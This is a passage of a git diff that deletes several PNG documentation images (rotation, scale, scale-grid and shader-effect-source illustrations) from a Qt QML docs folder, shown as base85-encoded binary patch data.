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 diff --git a/src/qml/doc/images/declarative-rotation.png b/src/qml/doc/images/declarative-rotation.png deleted file mode 100644 index b4031f5ae2fa374ba4c6f7ea08a7bc0139faf165..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 667 zcmeAS@N?(olHy`uVBq!ia0vp^DIm+X^AKO5{FR8_bgHZkBQW^8&_CfIMsxN}X^KD}#xFBiOAwIOkK>e*elr|viM zi~L{h87;YRO+V{WU!Btud{5?_dSN&xU_!dqwBEs!o5Mq_bQWOJ}sMDTuT+oVxRL*Bp`e$v^uPUuU1r)H0Vm%(#4I ziH`Qk+^)pb>S0dYPo3QhQ*Nm&DPo-~`KYV6cmD;jT3k+pu z%VpWJ_z(aiC&av*Ed+8HL REHHU7c)I$ztaD0e0su38DOLag diff --git a/src/qml/doc/images/declarative-scale.png b/src/qml/doc/images/declarative-scale.png deleted file mode 100644 index bab729e216a0d995815bc1bead83483220ee21c6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 336 zcmeAS@N?(olHy`uVBq!ia0vp^DImJMb_##>TyyZ(Vwd)p3r&XNE$ZS1jevW|>~!YyP@3?ta|?eL-yj z5}<`~_VkO@=dP`2x0qj;6Q(do;D(>GpWNRZ*%$$W2c;R-vmNf&niK~NA_h-aKbLh* G2~7ZKDp~0O diff --git a/src/qml/doc/images/declarative-scalegrid.png b/src/qml/doc/images/declarative-scalegrid.png deleted file mode 100644 index 32d871256815da0d7291d5466cd82effd3425fd7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4228 zcmai&X*3iL_s7Q!#yXaaeK&TYQI@fdeT#@;BpOUbsV3WGHAk$dVXKWnZ6u@BT0T=Xvfq_kPd4=kxk|@43m24p!V8q8tDKfZN8}{Ni7|_cz1X zSpU}Fx(oQf!W?93e|vVEwR;c%AfftiGR-A_g8m(f1Y4kko$p)=#(M`| z1>o^`b^qHpgM7VlSJm$XUe8}M5Cs5unQY8WT<$$zEr`jKu*m8)#w$FPLPqn}@v$+# zV}r55;H=)KG!r}>`J4noz41&?lThDo#sE-V7#a7xj*kX-&73TWWHu<2<#&u`Wx6YE zA}^E6i)HJEA*I=6L>AYib|}SVS14hgM_z8<{0|}=3c`X~ZcnVXO`~RrYi({WS!a3E zwPJZJ&D-6^nkquG&zNJyHKF%3G`VQZtq=nqgDPUoblPH=iMaw$5f}lC02os3N`9-N zC^b28#Bd=DaFpAx_z?E$wrZ_eUZ^uok8js=X!zbwrfP7)gW3x01RJKcY}lIKA=>+z z>P(IH*t#g(pkMoyG*=9H0T|-M@$1KKu{&5d83=B4<^wOUIK>Fp_RXQQfo7GNGxEnvK}`plFT-Zg}^W`lH<%6mey~2mS7o&<;O(ISgu1 z%(9!4izdvuY^k6qyt#9ZhHQmb;#i}Z4?XyO`M?_`Yo7@>t1?MoOO^ zwaho<9oElT;55=B;~{ZUPWAvJw7^6wFhHVmEQpj<$0IEmPScX@I~vSo?^6g$Ap|)u zEA*^VO&LC-PWvrNuGfVUy_B>m;*E0tSKkuuSyUX#Hrty+SW5Ljuf<^@Y2Uf&0T?iy zi9<@)H<< zsVbSzchO$=9+T`jE*BErSkEe+>0bub0CIpiz7!vURq7pcto3B_e(*<)U@kx?H>r@< z|BpaG82t7h1fBMzK9ljwtDi_}mmuv$9qt31RhlaC&B@wDz!*Zboi~ypuCz@pJmqm=%{-(eDV5nM;r)lf5^%1#7{W7X7B9MjNk2p7 zrh1PNxiG5wxHHs*SvTq)WDiES7QR~+5j}FIaY9Ed8AY9=@@3^KWS-Yd`WnXl{AgWU zep=6UM=JK9Dvt}07IbzC+x3nPDs=Xy#BHNquo{+F7KGdBEYapU|4;_VskfX*dyyk{ zUNKuPjXmBg90BSvto7;=Gi_Xc{<-lNto=3=Mzcg-QpKDRI+^iq@#>r9Ckjiri0Fb% z-Fl2?X#meV)AHzYMnIE^?`dmVlt8Fy!G>9-mG zq}{q-S*<60__-ls8Awq^>d=N3Y)0>tOtg3RTK#PCi*Wc!k$o%Ls1s7Oht#P(L)q_* zQn6dF$b4Ly+LPd-(fUX)EV$V5VGm&_-$kYZ? zP0(g^#K?Z0qqF;GnxvlPvMntczt@;Dw`=5(Xyo8Yd8r4TMAs>M2TEq)}PGXtg5 z|JxJ?Ugx|l(ELH6%gCio;Tbeezfsz~9(Nc+n7qN4{!I3_KA(t&teyEhmanNgn_)`( zVMpzttvvK4NHL9J=j_NMJ|oSq$s}qB3j4{HEH5(n&Jybu)^}XDdBDQ+#h-Rc^~!W$ zi(-cW-!sqO?`a=rMAY34E723B?#aroQff| z0f|>ed|)AJH){ICQM$#zOgG^44k4{NO5Cn?$z-uoU|53LV0JQ$ADqZGTUaP&;*s~c zsK}{&FJ-?3J?cSSvQI|bGN(nPLiybKA0T7mO{_}DwTJS=nYumQGu9# z1R^9h|3NYj=3ouiYQwJo>HR=ECpOat5Pq6u0Wym$qIxbG~_ z;RpIe1lpJNcVOIYr9X~9U7!n!~eQA`@VGX1XD!$@?Dyy=mi8EWe%wx zKNpkmts#;}aOR$E(;@g!+tuohYKU=7zz=nVjr-iv5;QP$F;rl%`)^Q=+ zk8F?~lpGr%gg_8@^yXi7j=QfjMVqd_opw##JwG&B4SxZQew4q|RLhz_P*wePQz=wQ z@#5a*-DF}~P+EtLt=339bd$fAHs;o(OQ)@ykp~va?!8~t0VNiPUq;u&n`Kn3$EKCv zg|o(bK}VZ7_7O`#%A1Rdx{{2J6Q`@jEK>0=yWr=CI7i1PYUg8he7hIr8B1W_XUd99 zFXaxx!o)dAFs_O4Wr^emCar9@bFXUPQ#;|4t;rIT6zYge$dPNw8+>gkSJ4~bW*!xP zzAh`rM5_9Z)O#^Y zW{aV0zC_mhSQahh4vVMPzCQR(b^zCse_D8*9Jz=6s?&53Jp28_K0(Dyi;#Aa^i}r# z@6^ZCzb27tD*14 zlz%2i#u#r#*6!DdIl6JNlPHI{i&aq=^`JuQb!Bf;O>akmek&VIgqiae4@bn^hQozw30N z*-e_haDKvl><52ST{Tw2^6kBK*5Q?f-cbnToPD#zo0o~xbwI=}QwCTLHHs=MIy}Vf zg$8W|j;ey5o4c8&eL}7S3=0O5&c#_2a?a9okTG*kC)k}Puhi4XqbCDPb%xaWOAxQ5 zo}#r%m$L?C38b1#hrnz_+=H&_eiFh;fB8`MN&L%qu7eq$J;8|DkK;PA^=RR)7wCeB zgVYbNh^Jga&~Jf}%GG~vjrxy;qD_-}A5`5GuF0_Dzi{oVh<7yh$NdM(b*4D=+1{Sl*A} z@xvGD)8es)VVMuqQfE45aJ%!8RutdX9F@Pvw;dZ_fu|a<^i?x^I*3#oESTd7jcT0C?!s(yrY%3qyB9kuM_%i+wr^z~Uy=vzXQo^Xz7QY# zK?F|_a{S_HC|nstDH?u6XkL;*wv-L0QSlPmcRHJw*7fTP7J|Srujl8L7Q>cuNE#)r z;Ub+`O{j153r-cR&j>G&T)yt6km?|%x4VTyYXmeJKo1K70 z`Hj3pS+Uw7ZTIhCiHuCzNp;dTkM=hKMgFI10KUD_q#>d75@DOD^ly(dAHT{Fd+#>Z zttSR4{9S$TYz5&ABf(;G1g`M&AM`bX(y^DhB0kallm$zbeEthYKoN&{FQ3WVL*y`&B z08bA#=KKu|*PZm=QR-6V%a(LbS-66>w e^OCH7XnfV0wR`;co3g(j1AvW%gL$@>NQs1WNi#^7l+qbxedvj6Lp?Q=dkmw@x3#7V5b(8 zkSJpGKU0&_p{_w&Qe)N~Xt8|KHF8)P9WoXjE&IKAYL02sm%}&4@`m2ad)Y2cRA`3d z*BdK`=SmzQt52%Sp2n)`>FK?Fo8P+zZ!jBq_s!NgSiS>JKXmdiSpK}UV8WiLEAFa` z)q2pH!BOsVe9&-FuD*ZcFEEvErFaUE%D1og*Z@&$E_P1*LPPFB=Bz8SMYvMO()o2KnSz}cgy>l8HP3S9)z`W3s_9HlmK!?JhP(RCHY}*~&AIBEP ztO^PIaFA#rTfHlKq%9hCYhxY~p25W%#Zqr#Nx>{E2qm``A2y~alaI5UIr<|!e`y+NazMp%&mOv?Lg^s&4ky zrUc^}W}1Bit4hF4eOJIB>vJ(Eb+8_?Rn*+v{No1<@*&ugLW#K6-lQ}!t3d6Aqr2GU zNa+x9Zn%L}Ps1M@6+W|WhUaS}>2`Zd{J-ppI%w^RV}GV3h&^=_9yaEId}Y<6K|3ur zdvh76=L(67dmcZPE}z;x{Wv!}t5~e8`wd!5*(I82OB3=^*S)XZ-lN9%qt()ItUO(i zwcf#qr0nxYt|Xt+2Fesz?J3HHhJ%tx$gPDTGxovoQJvkrJ!zNa_F=NrfkaUM^XN4n z+3!QB-L0)hx=+aO}(zTf0AZ#*O_z?7r zN$0^Js7%i&fYy$;SU`KY>c`KYVze?UhEx&kFF*9a177?n{)hKEh9K4~4qCAUbx|Jt z=MO7L>Ly9)1S{3z57z?-74c^0doh>dDH&I7>(&uHx*2}&$*G+|FVFMV%$>($QoSpHXccEN`y`_J99roZ|JYOXS{WS|su5uqpA-4W+!XBox3pV^Q( zlLiv>RC@3=A}HI(!Ch8Bb%#x;S1w4@=h8Qpo417^{r|J`Uy}A;^xL2a16j&idzPlj zx+T$7$&?XpsG*wmorDr-A+eHghRy+vggefrima}o{x`@fq{WKBq1@8 z>dBKi2eByS?2&i!nK77nVz9sOQB(F&-oZcxu{+!~tV=e=+%ZqXRhJ!Bj( z_BlNFk8w(tcVYrPljDxuh4=2yjFbAF*%95?aHE#bwSy|cA zlBE}pMx*gb8Ta<~nz!0r>pKth&oj13mjnBcMFKar)!k|dqoq8YrA|xu zSL0HVC(RX4zhqJe0;FbDdK<0{Ma9L}*Vnu}Jd7W=SQ6AfFq&t+^YHM1LZQ~yYZ)@1 z0y|)4=5RoOAXOtC3#x5#QOh8+2-IcXT*)n5;mWRR2Q&W$k5P{43opu^Ez{iFAtf1F zR+8kl@chsBKb{py+TyU}ORc-$Gb9Y~<7F-8WEYi}JNHI21iXNuXKPc%96Ob>i<_IJ z=jRegoc*u& z_i_<89o83H<&+FEX#AeG3BBaFuRq=Ku>dR^JHNuXaod99hkqleG)+s}zp1Gh2vC=l zln~)!M^N!K-rrsK!VE=d2U0}ei_qGA86F#ZdINz#un z(W1V-IAq!C*E{Gojzd8|ptjRRZzUU-rxLX=%Yf^jOam2uuWnEJ`^4wftAX}*pudV# z=I`)-Z4S8*?+F7#HLAjgpAgVugYqfPI$no;qDj$9V7c;xTzX!AObg^`Yf-%EePdl> zcXDkK*i_P!CWNHTNLb&Sa*}D^-p_7}x%a44h6ON6X=9#IC>|Uf%**2drYkIikT&7f z`X!~MrA0-oYE{k6KFB!s%8&t=0NAJkw$$p2+6gBIPtG^E#Y=tdIl0OIG7rGSHLpiD z#QR_ElDa#}`b;IYq$VWZB4qyF&7$_N?g-@wmDtSgvi|H6=}!)m<#X;FsbKwRhP|vx zEmrtKg5}?1WnAZ!J}>gM_vG&SfJx@#x2%Glot-E;aoL;0t`!#vkIghmw~z@vFKNcM zCH{+!b-dy(GT8-8n3@t7guvA z(%07tDzhK)3|}M-82vX6lcXo<&^AZhp1NwqtkoA4@vsO?+1K_b@%IXpG&WuZKY1N9 zOc^qeDy}Wm-nbs85l2^|K>QkL*WH_BpXwVZ^z>QWk@T2c+72C+rv#++F0TsrH>WSF zqbP~|&g3cD2W+AwIo?BpCWeQZhb!zScp4;My?SL8KmlyIH+FW)174_fPZLv9YZPi@ zgPS7U5-YI-M(zE|fHjbEo4N0jVIn>E4CcXQrig03nUSj0W)bLd zuzt{cMBjTN4Z@m?YxZ7yT_uy;2{+Twh=6IVciLy5+AcR!ErYO)VpVN+Crcl%2uEW! zg41)R)lh*aF~Q_eF(jvK_LS;kw4eZ>lolL@;oV0g98-tgjaosbL^f}o-|c1=aXL54 zoi)t-S)C}CAq9p?m-L(LyvwI@|g!Pk_5`t!w47QUwjN&UIdVrvU&Vd3hw zHaTh{yr2$MHldP&=aub`M>PPKnMe&=972S~e}vu9rUMwa3RX1V8zQv#OoWC6OiN+X zFPTCfOTICU{u5y#Na{dKOAChINWMJv z;7d+OP#UXQI_MQ}xca;8s&&}MTQ0q8pEWWhdky|s^IX@=vgs)7V!4v5 zPf7r;Kj?|f?9r>e?8v}m=Ty%`!$kqtV(4QZBgPAQ5foEI%^~uN zaNl)3&~m!|qAv`)xSs~kKbfj2P^Vi>M3q-V_?=2yZ1@t^kMY+;+-zF;HEcHH6F}-wYY8LU!?oEZ1gRl{RPCGmJ}~YK13LUK@pZZ?(MzL7K3TA&n!{}t(CR3 z29MTym;A2L=(#$Loj%k_R8tuTo7edT-jZ*kpGlfsz;Az%Judm!cg)?A_&LS4t^>y6 zW|q^&rYC(FUr%dxHZ`VV1bu({S)8oBM(~F{VpHd)B>M8{F*$gIB6(o*;s&|(kX=oP z;vw>~4@0Zr;o-BhvyO8=3-yaAd7<4QI?l~UA#>%(RJN=h^xZKf`SB)iVN`49|kfbcwecgmov7#`bo3l3n&m2EHAH7 zXT+j*+-x3C9YSVFJF(J%^a#FN{?Q{;Kz#JA2bq`?i_2Osyq!QOA4849&634EYF`V_ z>$z+V=3{PPCQ=&V-X0QTfj#I7f)%RqWK?Cnyj0=`UNBR{_)+wzMQRaODC$wPIYa3y zKJVa3T7+2|?f6qhlgt`~MCO-BWTdt00w5LJTD7e3aX>@UjdWp(&RisD?FdPigcnGF zmAF;0#>7kdz1&%zi5#5(Q*%Z)OT{7R2v2RE^_$e<+L0FoAB_7l(gYjO^7tP8`{2Ct;kLrL z(*cafl9rcvk_MsC=O4@*sxvh_J4@U97D>ZaxsjrC^9)XQcA86K1i(hffZ+|e2l9(C zo=IbC4FdM4#4OpmU|~@&MxIsQ>h$!Kc$Wk*sKn)Vk2NxeOm7c6Nl_z!CfW&1&ri7< zIYq}-sx8iMY9gqCNB*65-jIfncc^ypLfk|zhuy7_Z1{5gd@hyt!8Fojg(o73akV5T>b;hxnF5&lm}8@pXaMRv_g>sj;fi3F0NK1J`$r(GMuRO&w;+ievy zjP!jQ<{&g8>H=kYzIqj9M$7Orrle#gRzZZ8ax(5@b0A*Ry~pBFnkOCsB3OGqod>6 zsF*8u2hX4_uJc7w%KxDT@Os-IiK;(z0Z)5M1F{ zhN06R&N<>ad21-ZIX(`c-4NB5E97BBP$#FdW#T%=IV#RSRVJkhYx(7EcP3u@8%Y+= zX#Bz&1XzS+%Q zx=wzb8((v{G|l?^g(e}5k)@cZN@00%!! zi&IILRQBRW4wJO&dgw({%*e8LYePdrz1M}LYj~DZ>!rin=8MAF!a5_s#W)O4p@ZR2 zw${3Oo?a&1dpB)~2ARyXhn_P`#(3aityNXEpa>w}I?{l%E%9@+*ox=l= z0`X$(RnO4k(SvwDZIj{&DoRSM_C!9@l+@IXJQ|`9I;Z-T?fmbHt-ja1<;{=Z`{A0S z7n(e`p8IDNq@~dV7rk#%n_wq^&%B@ zIU9Yh^{WKm5Dfc3+gw|I{nlBAqwZ|oTbBALedn6zXeLDt(W;e?(GXu{&WzH^nYskx zk(h7Hy1Rj);gcptFdv^m@q~R@VEH2roB{f^tU~~EI{k3;S`N8c?P)NSDRDLY(bIvaWA@xPs zDre&ey9r|dwiGmy;|-F`gFEu=j@#1b98fabCGY)$?YXar&M?}2TfTla&N9YP{=@8 zT&$4u*yk+VN@iRax$O?-$+-Tn`iX@P%al(*-gd4=Qer}acgrH?xzLL( zruk#BY}@D8y)89w;-ZCUjjg&;BGYScoqZe7s@F)l+c^Y3H&+xQE*f>o=&U!founPj z{50G$^fjLk)#A|UReXa{gzb#z`^oXi$^F^d-SI*_I&mj3H@9SYS(+9KbBdH#djyEc zo9qeDES#%)nu|2XCIMxNIl`C&wA+d=EKy1M#giLsuE36D2Fc?OD?mp3&f<#CbYSPo;W@}q7m=5phr zuZov-#jVYEL!a^rPx-Wcqpcr1Kczl3Pty-;6rv{5NP33p2^bg{kV+r=zb?N=$=!2% zlYr?-I8B5r3MDJTtwR^G0RLxSPu|TDsMQXN8N4t71c<7Qz`(Nm^B%qw%f`O`evO(s z8C%ZGlYBj(9cM32&6z4S(N=(baZ@Lj2p!Yi_n_hL8$Z80ws}uGee?HuMBs>w;X*iY zF=r^1Q%bA82)Wr+8Y>(4K}c*P8vt25Z~`nTH@opQ%BKh^b1=@iLLEkX7!blZ*~k9CB^JumHyqc}>` znbooQ2Y$&fmj7X1`J&fa)b3O{llM=%^-h6EGjDgRfCoUXZ~{e`tMvUYnqNz8FS*<_ zlo>ffWxM$&nN96j`u=LSTsy3+s=9hDU-~f!9MTE>Rs|f^;WT+LUOF5vwKqp5ARl+? zQ5cw*JOsY`9IIip_Ig{u$XUeq)!h$wL>rx~l)Y|pJ|D)WN_#m^EKv3+Q&G3Lcis}# zzalX@E(67cxH%$hV@JL-B<<`Iv1^xqWV6AF-VsXYUu|4PI9*zA?BWC<3r09}>$wsDzTEkp<|iES5ju5XhYo_Mk+y(T5|`kqYT@L=E~*b*CxLte&9!Np* zbAf}fL!$@5<4OD(enH{m3MQ)$`>Q;feD~)Yo|c!^b72Ca|B6;KazJtJPai#|V<_mM zR5b4fn^zEDxk-i=PwbvPPuD7+vhaF;p$`x$39x4h3yKL_i<8{djMhIVj_jt^po$eE<=#N`Xk#D-Kgi93;`(N*Kc@VRy z>RVnl25i+7I@@)>kOw~5ZbPUwph#-mKLeHAo5ATqe#jwENRYVGsi(U9+aJ|`)SF^| zCR3+|Rq}+bcX2@{%PqcUZB-A+NFX6k@EREcWHX|my= zl}_fad>X}V_oGAXQXFa7w3>ESn9lJtYBphO!?;HM9#sgm)Fc;D$mqQud%|eMtOlu2 z$g;4e<_HsrI~=!;z>zJypE^Y}UaP#HunMwyoE_X8`^YLa!9&zeajXu4J>7=5&wG^$ zEq~4DLC6ZS+OoI6G?=86*YKzSp9!CwktP`pDQZSLN*W|&PUO<{=Hh5_axyX!6Y|1| z9o-2rb2C^jJKvEjlO1IaJ2BK`6tnzi;_!I+>?%fG$@=ecR@;Vlll1brG5=ctH6<;@ JGI?0w{{g+g&(#0` diff --git a/src/qml/doc/images/declarative-shadereffectsource.png b/src/qml/doc/images/declarative-shadereffectsource.png deleted file mode 100644 index 86d6d1ea350a587aa5817d94f0020335c40d7cfe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1133 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 